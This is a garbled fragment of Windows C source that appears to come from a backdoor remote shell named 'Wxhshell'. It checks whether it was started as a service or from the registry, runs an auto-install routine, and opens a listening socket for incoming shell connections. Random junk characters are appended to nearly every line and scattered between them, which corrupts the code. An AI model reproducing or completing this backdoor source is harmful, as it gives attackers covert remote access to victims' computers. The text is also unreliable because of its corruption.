ULONG InheritedFromUniqueProcessId; pEj^x[b`^
} PROCESS_BASIC_INFORMATION; 7b,,%rUd
6//FZ:q
PROCNTQSIP NtQueryInformationProcess; 7E3SvC|M
a@y5JxFAy
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +c8AbEewg
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DsJn#>?Kh
C!{AnWf
HANDLE hProcess; NS4'IR=;E!
PROCESS_BASIC_INFORMATION pbi; r`R~{;oT
YB
B$uGA
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G7Abhb,
if(NULL == hInst ) return 0; N@*wi"Q
PT#eXS9_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $l,Zd6<1q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /rxltF3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZoON5P>
cia-OVX
if (!NtQueryInformationProcess) return 0; qD;v/,?
;xO=Yhc+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'gZbNg=&[
if(!hProcess) return 0; H<Kkj
#} ~p^ 0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ).}k6v[4)
,0uo&/Y4L
CloseHandle(hProcess); [AX"ne#M*
[TK? P0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +'['HQ)
if(hProcess==NULL) return 0; |@ZqwC=
2PR7M.V7
HMODULE hMod; >mFX^t_,
char procName[255]; }u-S j/K
unsigned long cbNeeded; lIVxW+
w"a 9'r
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L;S*.Ol>
HIX=MprL<
CloseHandle(hProcess); qE`:b0FT
H*{k4
if(strstr(procName,"services")) return 1; // 以服务启动
r=DHt&x=
PM-PP8h
return 0; // 注册表启动 Q6.*"`
} qTTn51
} }f_
// 主模块 m c\ C
int StartWxhshell(LPSTR lpCmdLine) 2#b<d?"
{ dT]L-uRZgy
SOCKET wsl; !jAWNK6
BOOL val=TRUE; jj3Pf>D+k
int port=0; Q&upxE4-~
struct sockaddr_in door; <DXmZ1
D#d8 ^U
if(wscfg.ws_autoins) Install(); tCbr<Ug
w`j*W$82
port=atoi(lpCmdLine); [T 4 pgt'H
lj EB
if(port<=0) port=wscfg.ws_port; (3ZvXpzvF
/1 US,
WSADATA data; pymx\Hd,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $!F&>=o
7}d$*C
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; mNx,L+3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }2Cd1RnS
door.sin_family = AF_INET; ApG'jN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); gHvW
e
door.sin_port = htons(port); #juGD9e
7sud/*+F
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rkfQr9Vc
closesocket(wsl); 9V=<| 2
return 1;
8>Du
} d<^_w!4X}
[_
M6/
if(listen(wsl,2) == INVALID_SOCKET) { Lf^5Eo/
5A
closesocket(wsl); (Bt;DM#>
return 1; .'5'0lR5
} &;ZC<